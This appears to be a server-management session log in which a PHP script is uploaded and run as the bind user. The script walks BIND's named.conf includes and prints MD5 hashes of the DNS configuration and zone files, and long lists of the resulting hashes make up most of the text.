MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 16:58:32: Establishing a connection
2026-04-30 16:58:32: 

PUT: /tmp/pkp950441

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 16:58:33: 

runuser -l bind -s /bin/bash -c '/tmp/pkp950441; rm /tmp/pkp950441'

2026-04-30 16:58:33: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
